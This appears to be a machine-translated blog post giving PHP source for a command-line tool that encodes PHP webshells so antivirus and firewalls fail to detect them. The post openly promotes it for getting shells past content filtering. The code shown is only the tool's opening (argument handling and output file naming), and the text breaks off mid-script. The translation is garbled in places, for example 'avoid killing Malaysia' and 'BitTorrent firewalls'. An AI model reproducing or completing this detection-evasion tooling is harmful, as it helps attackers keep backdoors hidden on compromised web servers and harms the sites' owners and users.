PHP shell super powerful anti-virus and size reduction tool implementation code

Written by lostwolf
This is not a webshell, just a webshell anti-virus tool
Do not use the original webshell
Only anti-virus phpwebshell
This tool runs in cli mode!
If there is file content filtering that cannot be broken through, you can try this tool to avoid killing Malaysia!
Any php webshell can be bypassed by some BitTorrent firewalls in China after encoding with this tool
Copy the code The code is as follows:
/*
Title: PHP shell nokill T00L
Blog: exploit-db.blogcn.com
* /
error_reporting(0);
@ini_set('memory_limit','-1');
set_time_limit(0);
$toolname="$argv[0]";
if ($argc<2) {
baner ($toolname);
die;
}
$input_file= trim($argv[1]);
$output_file='nokill_'.$input_file;
if (file_exists($input_file)) {
No_kill_c0de($input_file, $output_file);
echo "PHP shell nokill T00Lrn";
echo "Blog: exploit-db.blogcn.comrn";
echo "Input: {$input_file}rn";
$file_full_path=dirname(__FILE__).DIRECTORY_SEPARATOR. $output_file;
